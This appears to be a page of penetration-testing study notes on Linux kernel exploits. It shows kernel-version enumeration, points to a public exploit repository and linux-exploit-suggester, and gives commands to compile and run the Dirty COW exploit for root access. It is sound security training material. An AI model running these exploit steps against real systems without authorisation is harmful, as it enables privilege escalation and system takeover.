> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/linux-privilege-escalation/kernel-exploits.md).

# Kernel Exploits

## Overview

The **Kernel** is essentially a computer program that controls everything in the system. It facilitates the interactions between hardware and software components. If we exploit the **Kernel (system/core)** we become the **Kernel >:)**

{% embed url="<https://github.com/lucyoa/kernel-exploits>" %}

### Kernel version

```
uname -a
Linux debian 2.6.32-5-amd64
```

{% hint style="info" %}
Use the linux-exploit-suggester to identify kernel exploits quickly
{% endhint %}

## Dirty COW

Compile

```
gcc -pthread dirty.c -o c0w 
```

Upload and run

```
./c0w
passwd
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2Fm4MAeTrjOuPn6nNfcXGi%2Fimage.png?alt=media&amp;token=b9060364-3a3e-4ad2-8d6a-92cf81be7d9f" alt=""><figcaption></figcaption></figure>
